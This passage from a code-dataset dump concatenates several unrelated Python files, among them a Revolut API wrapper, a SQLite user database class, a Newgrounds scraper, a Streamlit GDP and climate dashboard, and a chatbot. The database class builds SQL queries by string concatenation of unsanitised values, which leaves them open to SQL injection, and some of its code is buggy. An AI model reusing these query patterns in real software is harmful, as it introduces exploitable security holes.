\"RSD\", \"MXN\", \"ISK\", \"HRK\",\n \"BGN\", \"XAU\", \"IDR\", \"INR\", \"MYR\", \"PHP\", \"XLM\",\n \"EOS\", \"OMG\", \"XTZ\", \"ZRX\"]\n\n_CRYPTO = [\"BTC\", \"ETH\", \"BCH\", \"XRP\", \"LTC\"]\n\n# The amounts are stored as integer on Revolut.\n# They apply a scale factor depending on the currency\n_DEFAULT_SCALE_FACTOR = 100\n_SCALE_FACTOR_CURRENCY_DICT = {\n \"EUR\": 100,\n \"BTC\": 100000000,\n \"ETH\": 100000000,\n \"BCH\": 100000000,\n \"XRP\": 100000000,\n \"LTC\": 100000000,\n}\n\n\nclass Revolut:\n def __init__(self, token, device_id):\n self.client = Client(token=token, device_id=device_id)\n\n def get_account_balances(self):\n ret = self.client._get(_URL_GET_ACCOUNTS)\n raw_accounts = ret.json();\n\n account_balances = []\n\n for raw_account in raw_accounts.get(\"pockets\"):\n account_balances.append({\n \"balance\": raw_account.get(\"balance\"),\n \"currency\": raw_account.get(\"currency\"),\n \"type\": raw_account.get(\"type\"),\n \"state\": raw_account.get(\"state\"),\n \"vault_name\": raw_account.get(\"name\", \"\"),\n })\n\n self.get_account_balances = Accounts(account_balances)\n return self.get_account_balances;\n\n\nclass Accounts:\n\n def __init__(self, account_balances):\n self.raw_list = account_balances\n self.list = [\n Account(\n account_type=account.get(\"type\"),\n balance=Amount(\n currency=account.get(\"currency\"),\n revolut_amount=account.get(\"balance\"),\n ),\n state=account.get(\"state\"),\n vault_name=account.get(\"vault_name\"),\n )\n for account in self.raw_list\n ]\n\n\nclass Account:\n\n def __init__(self, account_type, balance, state, vault_name):\n self.account_type = account_type # CURRENT, SAVINGS\n self.balance = balance\n self.state = state # ACTIVE, INACTIVE\n self.vault_name = vault_name\n self.name = self.build_account_name()\n\n def build_account_name(self):\n if self.account_type == _VAULT_ACCOUNT_TYPE:\n account_name = '{currency} {type} ({vault_name})'.format(\n currency=self.balance.currency,\n type=self.account_type,\n vault_name=self.vault_name)\n else:\n account_name = '{currency} {type}'.format(\n currency=self.balance.currency,\n type=self.account_type)\n return account_name\n\n def __str__(self):\n return \"{name} : {balance}\".format(name=self.name,\n balance=str(self.balance))\n\n\nclass Transaction:\n def __init__(self, from_amount, to_amount, date):\n\n if type(from_amount) != Amount:\n raise TypeError\n if type(to_amount) != Amount:\n raise TypeError\n if type(date) != datetime:\n raise TypeError\n\n self.from_amount = from_amount\n self.to_amount = to_amount\n self.date = date\n\n def __str__(self):\n return ('({}) {} => {}'.format(self.date.strftime(\"%d/%m/%Y %H:%M:%S\"),\n self.from_amount,\n self.to_amount))\n\nclass Amount:\n\n def __init__(self, currency, revolut_amount=None, real_amount=None):\n if currency not in _AVAILABLE_CURRENCIES:\n raise KeyError(currency)\n self.currency = currency\n\n if revolut_amount is not None:\n if type(revolut_amount) != int:\n raise TypeError\n\n elif real_amount is not None:\n if type(real_amount) != int:\n raise TypeError\n else:\n raise ValueError(\"amounts need be set\")\n\n def get_real_amount(self):\n\n scale = _SCALE_FACTOR_CURRENCY_DICT.get(\n self.currency, _DEFAULT_SCALE_FACTOR)\n return float(self.revolut_amount / scale)\n\n def get_revolut_amount(self):\n\n scale = _SCALE_FACTOR_CURRENCY_DICT.get(\n self.currency, _DEFAULT_SCALE_FACTOR)\n return int(self.real_amount * scale)\n","repo_name":"PiotrZak/lem-golem","sub_path":"django-rest-framework-boilerplate/app_dir/revolut_integration/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"7971537268","text":"import sqlite3\nimport hashlib\nimport time\n\n# Things to do:\n# 1. Figure out how to create connection & cursor without causing thread\n# issues.\n# Setting check_same_thread=FALSE can cause issues ALLEGEDLY\nclass Database:\n def __init__(self, app):\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n # Generates the database if it doesn't exists\n with app.open_resource('schema.sql', mode = 'r') as f:\n cursor.executescript(f.read())\n\n def update_user(self, hash, token):\n connection = sqlite3.connect('database.db')\n cursor = self.connection.cursor()\n\n sql = \"UPDATE users SET token = \" + token + \"WHERE user_hash = \" + hash\n cursor.execute(sql)\n\n connection.close()\n\n def exists_user(self, user_id, user_token):\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n cursor.execute(\"SELECT * FROM users WHERE id = ?\", (user_id,))\n\n data = cursor.fetchone()\n\n if data is not None:\n cursor.execute('UPDATE users SET token = ? WHERE id = ?', (user_token, user_id,))\n else:\n cursor.execute('INSERT INTO users (id, token, token_timeout, administrator) VALUES (?, ?, ?, ?)', (user_id, user_token, time.time() + (86400 * 30), 1))\n\n connection.commit()\n\n connection.close()\n \n if data is not None:\n return True\n else:\n return False\n\n def user_check_token_exists(self, token, current_time):\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n cursor.execute(\"SELECT * FROM users WHERE token = ?\", (token,))\n\n data = cursor.fetchone()\n\n if data is not None and data['token_timeout'] < current_time:\n return True\n\n return False\n\n def add_user(self, hash, api_key):\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n user = (hash, api_key, \"empty\", 1)\n\n sql = 'INSERT INTO users(user_hash, token, administrator) VALUES (?, ?, ?, ?)'\n\n cursor.execute(sql, user)\n\n connection.commit()\n\n connection.close()\n\n def get_all(self, table):\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n sql = 'SELECT * FROM ' + table\n\n cursor.execute(sql)\n\n data = cursor.fetchall()\n\n connection.close()\n\n if data is not None:\n return data\n \n return False\n \n # Checks if plant exists, and places in if not\n # TODO: CHECK IF PLANTS HAVE CORRECT XYZ CO-ORDS\n # TODO: CHECK IF PLANTS ARE ACTIVE\n def add_plant(self, plant, hash):\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n plant = (plant['id'], hash, plant['name'], plant['x'], plant['y'], plant['z'], '1')\n\n sql_search = 'SELECT * FROM unique_plants WHERE user_hash = \\'' + hash + \"\\' AND farmbot_id = \\'\" + str(plant[0]) + '\\''\n\n cursor.execute(sql_search)\n\n data = cursor.fetchone()\n\n if data is not None:\n connection.close()\n return\n\n sql_create = \"INSERT INTO unique_plants (farmbot_id, user_hash, name, x, y, z, active) VALUES (?, ?, ?, ?, ?, ?, ?)\"\n\n cursor.execute(sql_create, plant)\n\n connection.commit()\n\n connection.close()\n\n return\n\n def remove_active(self, plants, hash):\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n\n sql = 'UPDATE unique_plants SET active = 0 WHERE user_hash = \\'' + str(hash) + '\\''\n\n for plant in plants:\n sql += ' AND farmbot_id != ' + str(plant['id'])\n\n cursor.execute(sql)\n\n connection.commit()\n\n connection.close()\n\n return\n\n # Generates a secure hash\n def generate_hash(self, input):\n byte_input = str.encode(input)\n return hashlib.sha224(byte_input).hexdigest()","repo_name":"jedzky/ps2101","sub_path":"ps2101/database_interface.py","file_name":"database_interface.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"4850978423","text":"import redis\n\nimport os\nfrom dotenv import load_dotenv\nimport redis\nimport subprocess\nimport argparse\n\ndef kill_iperf():\n print(\"Killing iperf\")\n command = \"ps aux | grep -i iperf | awk '/iperf/{print $2}' | xargs kill -9\"\n subprocess.run(command, shell=True)\n\n\ndef wait_for_redis_cnt():\n print(\"Waiting for NFs to finish...\")\n while True:\n complete_nf_cnt = redis_client.get(NF_DONE_KEY)\n if complete_nf_cnt and int(complete_nf_cnt) == HZ_CLIENT_CNT:\n break\n print(\"Waiting is over\")\n\n\nload_dotenv()\nparser = argparse.ArgumentParser()\nredis_client = redis.Redis(port=6378)\n\nHZ_CLIENT_CNT = int(os.getenv('HZ_CLIENT_CNT'))\n\nNF_DONE_KEY = \"NF_DONE\"\n\nparser.add_argument('--force', action='store_true')\nargs = parser.parse_args()\n\nif not args.force:\n wait_for_redis_cnt()\nkill_iperf()\n\n\n\n\n\n\n","repo_name":"MahirSez/DEFT","sub_path":"src/txts_unit/kill_iperf.py","file_name":"kill_iperf.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"86559855378","text":"############## FOR LOOP ##############\r\n\r\nfruits = ['apple', 'mango', 'orange', 'pineapple']\r\n\r\nfor fruit in fruits:\r\n print(fruit)\r\n\r\n\r\nSKILL_DISK = {'website':'www.skilldisk.com',\r\n 'pincode':560010,\r\n 'lattitude':12.9795,\r\n 'longtitude':77.5537,\r\n 'phone':[9900444966, 7829006066]\r\n }\r\n\r\n\r\nfor key in SKILL_DISK:\r\n print(key)\r\n\r\n\r\nfor value in SKILL_DISK.values():\r\n print(value)\r\n\r\n\r\nfor key, value in SKILL_DISK.items():\r\n print(key, end=' : ')\r\n print(value)\r\n","repo_name":"skilldisk/Django-Webinar-July-2020","sub_path":"11.07.2020 Snippets/4 for_loop.py","file_name":"4 for_loop.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"1958176706","text":"\n# coding: utf-8\n\n# In[3]:\n\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom random import randint\n\n# In[4]:\n\n\ndf = pd.read_csv('seeds.csv')\n#df.head(7)\n\n\n# In[6]:\n\n\nx = np.array(df.loc[:,['AREA','PERIMETER','COMPACTNESS','LENGTH','WIDTH','ASSYMMETRY_COEFFICIENT','GROOVE_LENGTH',]])\ny = np.array(df['TYPE'])\n\n\n# In[8]:\n\n\nlr = 0.6 #learning rate\ne =0\nD = [0,0,0] #size depending on the number of neurons\nepoch = 5 # number of iterations\n#Assigning the weights\nw=np.random.rand(7,3)\n\nX_train, X_test, y_train, y_test = train_test_split(x,y,test_size=0.28,random_state=7)\n[r,c] = X_train.shape\n#print(w)\nwhile(e State: [GDP code,\nstate_mapping = {'California': ['CAFARMRGSP', 4],\n 'Florida': ['FLFARMRGSP', 8],\n 'Minnesota': ['MNFARMRGSP', 21],\n 'Texas': ['TXFARMRGSP', 41],\n 'New York': ['NYFARMRGSP', 30],\n 'Pennsylvania': ['PAFARMRGSP', 36],\n 'Alaska': ['AKFARMRGSP', 50],\n 'Illinois': ['ILFARMRGSP', 11],\n 'Utah': ['UTFARMRGSP', 42],\n 'Louisiana': ['LAFARMRGSP', 16],\n 'Hawaii': ['HIFARMRGSP'],\n 'Virginia': ['VAFARMRGSP', 44],\n 'South Carolina': ['SCFARMRGSP', 38],\n 'Alabama': ['ALFARMRGSP', 1],\n 'Ohio': ['OHFARMRGSP', 33],\n 'Mississippi': ['MSFARMRGSP', 22],\n 'Wyoming': ['WYFARMRGSP', 48],\n 'Michigan': ['MIFARMRGSP', 20],\n 'North Dakota': ['NDFARMRGSP', 32],\n 'Massachusetts': ['MAFARMRGSP', 19],\n 'Wisconsin': ['WIFARMRGSP', 47],\n 'Georgia': ['GAFARMRGSP', 9],\n 'North Carolina': ['NCFARMRGSP', 31],\n 'Arizona': ['AZFARMRGSP', 2],\n 'Kansas': ['KSFARMRGSP', 14],\n 'Colorado': ['COFARMRGSP', 5],\n 'Montana': ['MTFARMRGSP', 24],\n 'New Mexico': ['NMFARMRGSP', 29],\n 'Iowa': ['IAFARMRGSP', 13],\n 'Idaho': ['IDFARMRGSP', 10],\n 'Delaware': ['DEFARMRGSP', 7],\n 'Maryland': ['MDFARMRGSP', 18],\n 'New Jersey': ['NJFARMRGSP', 28],\n 'Tennessee': ['TNFARMRGSP', 40],\n 'Vermont': ['VTFARMRGSP', 43],\n 'Oklahoma': ['OKFARMRGSP', 34],\n 'Nebraska': ['NEFARMRGSP', 25],\n 'Kentucky': ['KYFARMRGSP', 15],\n 'Oregon': ['ORFARMRGSP', 35],\n 'Missouri': ['MOFARMRGSP', 23],\n 'Connecticut': ['CTFARMRGSP', 6],\n 'Washington': ['WAFARMRGSP', 45],\n 'West Virginia': ['WVFARMRGSP', 46],\n 'Arkansas': ['ARFARMRGSP', 3],\n 'Nevada': ['NVFARMRGSP', 26],\n 'Maine': ['MEFARMRGSP', 17],\n 'South Dakota': ['SDFARMRGSP', 39],\n 'the District of Columbia': ['DCFARMRGSP'],\n 'Rhode Island': ['RIFARMRGSP', 37],\n 'Indiana': ['INFARMRGSP', 12],\n 'New Hampshire': ['NHFARMRGSP', 27]}\n\nparameter_dict = {'Average Temperature': 'tavg', 'Maximum Temperature': 'tmax', 'Minimum Temperature': 'tmin', \\\n 'Precipitation': 'pcp', 'Heating Degree Days': 'hdd'}\n\n# get list of all states in usa\nstates = list(state_mapping.keys())\n\n# STREAMLIT STUFF\n\nheader = st.container()\ndataset = st.container()\nGDP_plot = st.container()\nGDP_plot_2 = st.container()\nclimate_plots_A = st.container()\nclimate_plots_B = st.container()\n\ndef get_climate_data(start_year, end_year, parameter, state_num):\n \"\"\"\n :param start_year: start year for the duration of dataset\n :param end_year: end year for the duration of dataset\n :param parameter: climatic parameter, in parameter_dict\n :param state_num: state number from the state_mapping dictionary\n :return: returns a dataframe with from start to end year for specific parameter and specific state\n \"\"\"\n\n climate_series_url = f'https://www.ncei.noaa.gov/access/monitoring/climate-at-a-glance/statewide/time-series/' \\\n f'{state_num}/{parameter}/ann/12/{start_year}-{end_year}.csv?base_prd=true&begbaseyear=1901&endbaseyear=2000'\n print(f'climate url : {climate_series_url}')\n climate_df = pd.read_csv(climate_series_url, index_col='Date', skiprows=4, usecols=['Value', 'Date'],\n on_bad_lines='skip')\n year = climate_df.index\n year = year.astype(str).str[:4]\n\n # resetting index with just year\n climate_df.set_index(year, inplace=True, drop=True)\n\n return climate_df\n\n\ndef calc_corr(df, climate_df):\n \"\"\"\n :param df: GDP dataframe for specific state\n :param climate_df: climate data for the same state\n :return: magnitude of correlation between the GDP values and climate values\n \"\"\"\n correlation = df['GDP_value'].corr(climate_df['Value'])\n correlation = round(correlation, 2)\n\n return correlation\n\n\ndef create_plot(parameter, y_axis_title, df):\n \"\"\"\n :param parameter: parameter based on which graph is plotted v/s year\n :param y_axis_title: title of y-axis\n :param df: data used to plot data\n :return: plot with formatting\n \"\"\"\n figure = px.line(df, title=f'{parameter} of {states_selection}', markers=True)\n\n # updating title, and layout of plot\n figure.update_layout(\n title=f'{parameter} of {states_selection}',\n xaxis_title=\"year\",\n yaxis_title=f'{y_axis_title}',\n font=dict(\n family=\"Courier New, monospace\",\n size=18\n ))\n\n figure.update_layout(showlegend=False)\n\n return figure\n\n\nwith GDP_plot:\n st.header(\"GDP: FARM statewise\")\n st.text(\"Real Gross Domestic Product: Farms \")\n\n sel_col, disp_col = st.columns(2)\n\n states_selection = sel_col.selectbox('Select the state to see its GDP', options=states, index=12)\n\n # chart_selection = sel_col.selectbox('Real GDP vs Nominal GDP', options = ['Real', 'Nominal'], index=0)\n\n chart_selected_df = fred.get_series(state_mapping[states_selection][0])\n\n chart_selected_df = pd.DataFrame(chart_selected_df, columns=['GDP_value'])\n chart_selected_df.index = chart_selected_df.index.year\n chart_selected_df.index = chart_selected_df.index.astype('str')\n chart_selected_df = chart_selected_df.iloc[1:, :]\n\n # Plotting data v/s year\n fig = create_plot('GDP(Farms)', '$ (Millions)', chart_selected_df)\n\n st.write(fig)\n\n\nwith GDP_plot_2:\n st.header(\"GDP: Agriculture, Forestry, Fishing and Hunting statewise\")\n st.text(\"Real Gross Domestic Product: Agriculture, Forestry, Fishing and Hunting (NAICS 11) \")\n\n # sel_col, disp_col = st.columns(2)\n\n # states_selection = sel_col.selectbox('Select the state to see its GDP', options=states, index=12)\n\n # chart_selection = sel_col.selectbox('Real GDP vs Nominal GDP', options = ['Real', 'Nominal'], index=0)\n\n chart_selected_df_2 = fred.get_series(state_mapping_GDP_2[states_selection])\n print(f'second dataframe {chart_selected_df_2.head()}')\n\n\n chart_selected_df_2 = pd.DataFrame(chart_selected_df_2, columns=['GDP_value'])\n chart_selected_df_2.index = chart_selected_df_2.index.year\n chart_selected_df_2.index = chart_selected_df_2.index.astype('str')\n chart_selected_df_2 = chart_selected_df_2.iloc[1:, :]\n\n # Plotting data v/s year\n\n figure_2 = create_plot('GDP(Agriculture, Forestry, Fishing and Hunting)', '$(Millions)', chart_selected_df_2)\n\n st.write(figure_2)\n\n\n\nwith climate_plots_A:\n st.header(f'Climate of {states_selection}')\n st.text(\"Plotting climate data\")\n\n left_col, right_col = st.columns([3, 3])\n\n # getting climate precipitation series data from the link\n climate_series_1 = get_climate_data('1998', '2022', 'pcp', state_mapping[states_selection][1])\n\n print(f'Climate series head : {climate_series_1.head()}')\n\n # Creating plot\n fig_1 = create_plot('Precipitation', 'precipitation in mm', climate_series_1)\n\n # Correlation metric for precipitation\n corr = calc_corr(chart_selected_df, climate_series_1)\n\n # Correlation metric NO 2 for precipitation\n corr_forr = calc_corr(chart_selected_df_2, climate_series_1)\n\n\n left_col.metric(label=\"Correlation with GDP: FARM \", value=corr)\n left_col.metric(label=\"Correlation with GDP: Agriculture, Forestry, Fishing and Hunting (NAICS 11)\", value=corr_forr)\n\n left_col.write(fig_1)\n\n ################################################################################################\n\n # getting climate Heating Degree Days series data from the link\n climate_series_2 = get_climate_data('1998', '2022', 'hdd', state_mapping[states_selection][1])\n\n # climate_series = pd.read_csv(climate_series_url, index_col='Date' , skiprows=4, usecols=['Value', 'Date'])\n print(f'Climate series No 2 head : {climate_series_2.head()}')\n\n # Creating plot 2\n fig_2 = create_plot('Heating Degree days', 'Fahrenheit Degree-Days', climate_series_2)\n\n # Correlation metric for heating days\n corr_2 = calc_corr(chart_selected_df, climate_series_2)\n\n # Correlation metric for heating days\n corr_2_forr = calc_corr(chart_selected_df_2, climate_series_2)\n\n right_col.metric(label=\"Correlation with GDP: FARM \", value=corr_2)\n right_col.metric(label=\"Correlation with GDP: Agriculture, Forestry, Fishing and Hunting (NAICS 11)\", value=corr_2_forr)\n\n right_col.write(fig_2)\n\nwith climate_plots_B:\n left_col, right_col = st.columns([3, 3])\n\n # getting Max temp of state\n climate_series_3 = get_climate_data('1998', '2022', 'tmax', state_mapping[states_selection][1])\n # climate_series = pd.read_csv(climate_series_url, index_col='Date' , skiprows=4, usecols=['Value', 'Date'])\n print(f'Climate series head : {climate_series_3.head()}')\n\n # Creating plot\n fig_3 = create_plot('Max temp', '°F', climate_series_3)\n\n # Correlation metric for Max Temp\n corr_3 = calc_corr(chart_selected_df, climate_series_3)\n corr_3_forr = calc_corr(chart_selected_df_2, climate_series_3)\n\n left_col.metric(label=\"Correlation with GDP: FARM \", value=corr_3)\n left_col.metric(label=\"Correlation with GDP: Agriculture, Forestry, Fishing and Hunting (NAICS 11) \", value=corr_3_forr)\n\n left_col.write(fig_3)\n\n ################################################################################################\n\n # getting Min temp data of state\n climate_series_4 = get_climate_data('1998', '2022', 'tmin', state_mapping[states_selection][1])\n\n # climate_series = pd.read_csv(climate_series_url, index_col='Date' , skiprows=4, usecols=['Value', 'Date'])\n print(f'Climate series No 2 head : {climate_series_4.head()}')\n\n # Creating plot 2\n fig_4 = create_plot('Mim temp', '°F', climate_series_4)\n\n\n # Correlation metric for heating days for GDP: FARM\n corr_4 = calc_corr(chart_selected_df, climate_series_4)\n\n # Correlation metric for heating days for GDP: Forrestry\n corr_4_forr = calc_corr(chart_selected_df_2, climate_series_4)\n\n\n right_col.metric(label=\"Correlation with GDP: FARM \", value=corr_4)\n right_col.metric(label=\"Correlation with GDP: Agriculture, Forestry, Fishing and Hunting (NAICS 11) \", value=corr_4_forr)\n\n right_col.write(fig_4)\n\n###########################################################################################################\n# creating plots of forestry,fishing,hunting etc\n############################################################################################################\n\n","repo_name":"vikiadi19/PR_project","sub_path":"streamlit_final.py","file_name":"streamlit_final.py","file_ext":"py","file_size_in_byte":14460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"76"} +{"seq_id":"40339196303","text":"\"\"\"\n airbrake-python\n ~~~~~~~~~~~~~~~\n\n Client for sending python exceptions to airbrake.io\n\"\"\"\n\n__version__ = \"1.1.4\"\n__url__ = \"https://github.com/airbrake/airbrake-python\"\n_notifier = {\n 'name': 'airbrake-python',\n 'version': __version__,\n 'url': __url__\n}\n\nimport inspect\nimport logging\nimport os\n\nfrom airbrake import utils\nfrom airbrake.notifier import Airbrake\nfrom airbrake.handler import AirbrakeHandler\n\nlogging.basicConfig()\n\n\ndef getLogger(name=None, **kwargs):\n\n if not name:\n curframe = inspect.currentframe()\n callingpath = inspect.getouterframes(curframe, 2)[1][1]\n name = os.path.split(\n callingpath.rpartition('.')[0] or callingpath)[-1]\n name = \"%s%s\" % ('airbrake-python-', name)\n logger = logging.getLogger(name)\n\n if not has_airbrake_handler(logger):\n ab = AirbrakeHandler(**kwargs)\n logger.addHandler(ab)\n if logger.getEffectiveLevel() == logging.NOTSET:\n logger.setLevel(ab.level)\n elif not logger.isEnabledFor(ab.level):\n logger.setLevel(ab.level)\n\n return logger\n\n\ndef has_airbrake_handler(logger):\n return any([isinstance(handler, AirbrakeHandler)\n for handler in logger.handlers])\n","repo_name":"dpetkevich/telbot3","sub_path":"venv/lib/python2.7/site-packages/airbrake/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"36410948808","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\narticle = 'NG SHIT'\nblamNum = 0\ndeleteNum = 0\neRated = 0\ntRated = 0\nmRated = 0\naRated = 0\n\n\ntotalLoops = 0\n\ntheDate = 'Jan 1'\n\ndef scrapeDates(minProj, maxProj):\n\n global article\n global blamNum\n global deleteNum\n global eRated\n global tRated\n global mRated\n global aRated\n global totalLoops\n global theDate\n\n article = 'NG SHIT'\n blamNum = 0\n deleteNum = 0\n eRated = 0\n tRated = 0\n mRated = 0\n aRated = 0\n totalLoops = 0\n for num in range(minProj, maxProj):\n totalLoops += 1\n scrapeProject(num)\n else:\n article = article + \"\\nE RATED: \" + eRated.__str__() + \"\\nT RATED: \" + tRated.__str__() + \"\\nM RATED: \" + mRated.__str__() + \"\\nA RATED: \" + aRated.__str__()\n article = article + \"\\n\\nBLAMS: \" + blamNum.__str__() + \"\\nDELETES: \" + deleteNum.__str__() + \"\\nTOTAL SUBMISSIONS SCRAPED: \" + totalLoops.__str__()\n with open('scraped_text.txt', 'w', encoding='utf-8') as file:\n file.write(article)\n\ndef scrapeSimple(minProj, maxProj):\n\n scrapeProject(minProj)\n date1 = theDate\n scrapeProject(maxProj)\n date2 = theDate\n return date1\n\ndef scrapeProject(projID):\n global article\n global blamNum\n global deleteNum\n global eRated\n global tRated\n global mRated\n global aRated\n global totalLoops\n global theDate\n\n url = \"https://www.newgrounds.com/portal/view/\" + projID.__str__()\n\n try:\n page = urlopen(url)\n except:\n print(\"DELETED \" + url)\n deleteNum += 1\n return\n soup = BeautifulSoup(page, 'html.parser')\n content = soup.find('div', {\"class\": \"pod-head\"})\n\n for i in content.findAll('h2'):\n if i.text == \"Author Comments\":\n article = article + \"-------\\nBLAMMED\\n-------\"\n blamNum += 1\n print(\"BLAMMED \" + url)\n else:\n article = article + '\\n' + i.text + \" \" + url\n print(i.text + \" \" + url)\n\n stats = soup.find('div', {\"id\":\"sidestats\"})\n\n if stats.__str__() == \"None\":\n print(\"SOMETHIN BUSTED, SKIPPED\")\n continue\n else:\n someVotes = soup.find('span', {\"id\":\"score_number\"})\n if (someVotes.__str__() == \"None\"):\n article = article +'\\nVOTES: UNDER JUDGEMENT???'\n else:\n article = article + \"\\nVOTES: \" + someVotes.text + \"\\n\"\n \n someTags = soup.find('dd', {\"class\":\"tags momag\"})\n if someTags.__str__() == \"None\":\n print(\"NO TAGS\")\n article = article + '\\nTAGS: NONE'\n else:\n article = article + '\\nTAGS: '\n for tags in someTags.findAll('li'):\n article = article + tags.text + \" \"\n article = article + '\\n\\n'\n \n ##DATE AND TIME\n sideStatsBaby = soup.find_all('dl', {'class':'sidestats'})\n if (sideStatsBaby.__str__() == \"None\"):\n print(\"Dead date???\")\n else:\n print(\"whatever\")\n rowShit = 0\n for row in sideStatsBaby:\n if (rowShit > 0):\n moreRow = row.find_all('dd')\n print(moreRow)\n print(\"CLEANED SHIT\")\n str_cells = str(moreRow)\n cleaned = BeautifulSoup(str_cells, 'html.parser').get_text()\n cleaned = cleaned[1:]\n cleaned = cleaned[:-1]\n cleanedArray = cleaned.split(',')\n\n article = article + \"Posted: \" + cleanedArray.__str__()\n\n print(cleanedArray[0] + cleanedArray[2])\n rowShit += 1\n \n article = article + '\\n'\n ratingShit = soup.find_all('div', {'id': 'embed_header'})\n for shit in ratingShit:\n moreShit = shit.find_all('h2')\n theRating = moreShit.__str__()[18]\n article = article + \"RATING: \" + theRating\n\n if (theRating == 'e'):\n eRated += 1\n if (theRating == 't'):\n tRated += 1\n if (theRating == 'm'):\n mRated += 1\n if (theRating == 'a'):\n aRated += 1\n\n print(\"RATED: \" + moreShit.__str__()[18])\n ","repo_name":"ninjamuffin99/NGScrapePy","sub_path":"pyScrape.py","file_name":"pyScrape.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"73951131126","text":"import numpy\n\n\"\"\"\nSingleNeuron class is a simple, single neuron, neural network.\n\"\"\"\nclass SingleNeuron:\n\n # initialize neuron with random weights\n def __init__(self, rows, columns):\n self.weight = numpy.random.rand(rows, columns)\n\n # Sets weight entry for row and column passed in\n def setWeight(self, weight, row, column):\n self.weight[row, column] = weight\n\n # Prints current Weights\n def printWeight(self):\n print(\"Weight is: \" + str(self.weight))\n\n # Trains neural network using training data passed in as list of tuples\n def trainNewtwork(self, trainingData):\n\n # Iterate through training data\n for x in trainingData:\n input1 = x[0]\n input2 = x[1]\n target = x [2]\n\n # Create input array\n inputdata = numpy.array([input1, input2]).T\n\n # Calculate net inputs using numpy dot method and pass to activation function\n netInputs = numpy.dot(self.weight, inputdata)\n output = self.activationFunction(netInputs[0])\n\n print(\"Output: \" + str(output) + \" Target: \" + str(target))\n\n # If output is too low add .25 of input to weights\n if output < target:\n self.weight += .25*inputdata\n\n # If output is too high subtract .25 of input to weights\n if output > target:\n self.weight -= .25*inputdata\n\n print(self.weight)\n\n # Tests neural network using testing data passed in a list of tuples\n def testNetwork(self, testingdata):\n\n # Iterate through testing data\n for x in testingdata:\n input1 = x[0]\n input2 = x[1]\n\n # Create input array using numpy\n inputdata = numpy.array([input1, input2]).T\n\n # Calculate net inputs using numpy dot method and pass to activation function\n netInputs = numpy.dot(self.weight, inputdata)\n output = self.activationFunction(netInputs[0])\n\n print(\"Input: \" + str(input1) + \" \" + str(input2) + \" Output: \" + str(output))\n\n # Activation Function uses hard limit to convert input to output.\n def activationFunction(self, netInput):\n if netInput >= .75:\n return 1\n else:\n return 0\n\n","repo_name":"dann4520/StockPredictor","sub_path":"single_neuron.py","file_name":"single_neuron.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74223346164","text":"from string import punctuation\nimport re\nimport random\n\n'''\nMEMORY\nUsing two map to remember the order detail and the customer information.\n'''\ndrink = {\"type\" : \"\", \"size\" : \"\", \"syrup\" : \"\"}\nmem = {\"name\": \"\", \"paymnet\" : \"\"}\n\ndef agentName():\n\treturn \"Buck\"\n\ndef introduce():\n\tintro = \"My name is Buck, I am a Barista in Starbucks located in the Suzallo Library \\n\\\nI was programmed by Yu Fan (UWNetID: fany23). \\n\\\nI hope I can get the right coffee for you today. \\n\\\nDon't hesitate to ask for a personalized drink. \\n\\\nSo what can I get for you today?\"\n\treturn intro\n\ndef respond(str):\n\tr = re.compile(r'[\\s{}]+'.format(re.escape(punctuation)))\n\twordlist = r.split(str)\n\twordlist = [word.lower() for word in wordlist]\n\tif wordlist[0:2] == [\"i\", \"am\"]:\n\t\tmem[\"name\"] = wordlist[2]\n\tif wordlist[0] == \"\":\n\t\t# RANDOM FEATURE\n\t\treturn \"I am Buck. \" + randomIntroduction()\n\tif \"coffee\" in wordlist and drink[\"type\"] == \"\":\n\t\t# CYCLE FEATURE\n\t\t# MEMORY FEATURE\n\t\tif drink[\"type\"] == \"\":\n\t\t \tdrink[\"type\"] = \"coffee\"\n\t\treturn \"Sure \" + mem[\"name\"] + \". How about add some \" + cycleSyrup() + \" syrup?\"\n\tif \"lemonade\" in wordlist:\n\t\t# CYCLE FEATURE\n\t\t# MEMORY FEATURE\n\t\tif drink[\"type\"] == \"tea\":\n\t\t\tdrink[\"syrup\"] = \"lemonade\"\n\t\t\treturn \"No Problem.\"\n\t\treturn \"Sorry, this is for tea. We have \" + cycleSyrup() + \" for coffee.\"\n\n\tif \"vanilla\" in wordlist:\n\t\t# MEMORY FEATURE\n\t\tif drink[\"type\"] == \"coffee\":\n\t\t\tdrink[\"syrup\"] = \"vanilla\"\n\t\t\treturn \"Copy that. Whcih size do you prefer?\"\n\t\treturn \"This is for coffee, what about some lemonade?\"\n\tif \"caramel\" in wordlist:\n\t\t# MEMORY FEATURE\n\t\tif drink[\"type\"] == \"coffee\":\n\t\t\tdrink[\"syrup\"] = \"caramel\"\n\t\t\treturn \"Copy that. Whcih size do you prefer?\"\n\t\treturn \"This is for coffee, what about some lemonade?\"\n\tif wordlist[0:2] == [\"how\", \"much\"]:\n\t\t# MEMORY FEATURE\n\t\tif drink[\"size\"] == \"small\":\n\t\t\treturn \"2 dollars for small.\"\n\t\tif 